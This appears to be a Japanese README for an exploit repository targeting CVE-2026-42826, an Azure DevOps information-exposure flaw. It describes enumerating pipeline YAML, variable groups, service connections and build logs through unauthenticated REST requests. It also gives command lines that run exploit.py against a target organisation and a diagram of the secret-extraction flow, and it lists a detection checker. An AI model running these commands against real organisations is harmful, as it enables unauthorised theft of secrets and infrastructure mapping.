
CVE-2026-42826を悪用し、未認証のREST APIリクエストを介して、パイプラインYAML、変数グループ、サービス接続、ビルドログなどの機密性の高いAzure DevOpsデータを列挙および抽出します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Critical (Microsoft) / 7.5 High (NVD) |
| CWE | CWE-200 (不正なアクターへの機密情報の露出) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| 影響を受けるバージョン | Azure DevOps Services、Azure DevOps Server 2022/2025 |
| 修正済みバージョン | Azure DevOps Server 2026.0.1+ (Services はサーバー側で修正済み) |
| 発見者 | Noa Royzman (Microsoft) |
Azure DevOps は、特定の条件下で、パイプライン構成、変数グループの内容、ビルド成果物を認証なしの HTTP リクエストに提供する可能性があります。リモートの攻撃者が Azure DevOps REST API に巧妙に細工したリクエストを送信すると、以下を含む JSON レスポンスを受け取ります:
対象プロジェクトが公開可視性 (public visibility) 用に構成されている場合、または内部 API エンドポイントがデータを返す前に認証チェックを適用しない場合、資格情報は不要です。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
パブリックプロジェクトが有効な組織では、リポジトリ、パイプライン、成果物、作業項目が認証なしのインターネットに公開されます。
特定の内部 API エンドポイントが、機密データを返す前に認証チェックを適用しません。
公開プロジェクトのパイプライン YAML ファイルは、サービス接続と変数グループを名前で参照するため、Azure サブスクリプション構造、デプロイターゲット、レジストリ URL、環境名が明らかになります。
サービス接続のメタデータ (Azure サブスクリプション ID、テナント ID、Kubernetes クラスター ID) が API 経由で公開されます。
シークレット以外の変数値は、UI で表示可能であり、API によって返され、ビルドログに出力されます。
ビルドログには、機密性の高い構成データ、環境変数、インフラストラクチャの詳細が含まれる場合があります。
| ファイル | 目的 |
|---|---|
exploit.py | メインのエクスプロイト — 6 つの攻撃ベクター、シークレットスキャン、レポート生成 |
detect.py | Azure DevOps インスタンスの検出およびセキュリティ強化チェッカー |
test_exploit.py | ユニットテスト (全エクスプロイト機能を検証する 30 以上のテスト) |
| ドキュメント | 内容 |
|---|---|
| USAGE.md | ステップバイステップの手順を含む詳細な使用ガイド |
| DIAGRAM.md | 構造図と攻撃フローの可視化 |
# 組織に公開されたプロジェクトがあるか確認
python3 exploit.py -u https://dev.azure.com/targetorg
# Personal Access Token を使用した完全なエクスプロイト
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# 特定のプロジェクトをターゲットにする
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# レポートをファイルに保存
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
完全なアーキテクチャ図については DIAGRAM.md を参照してください。
Code (Read) に制限し、有効期限を 90 日に設定MIT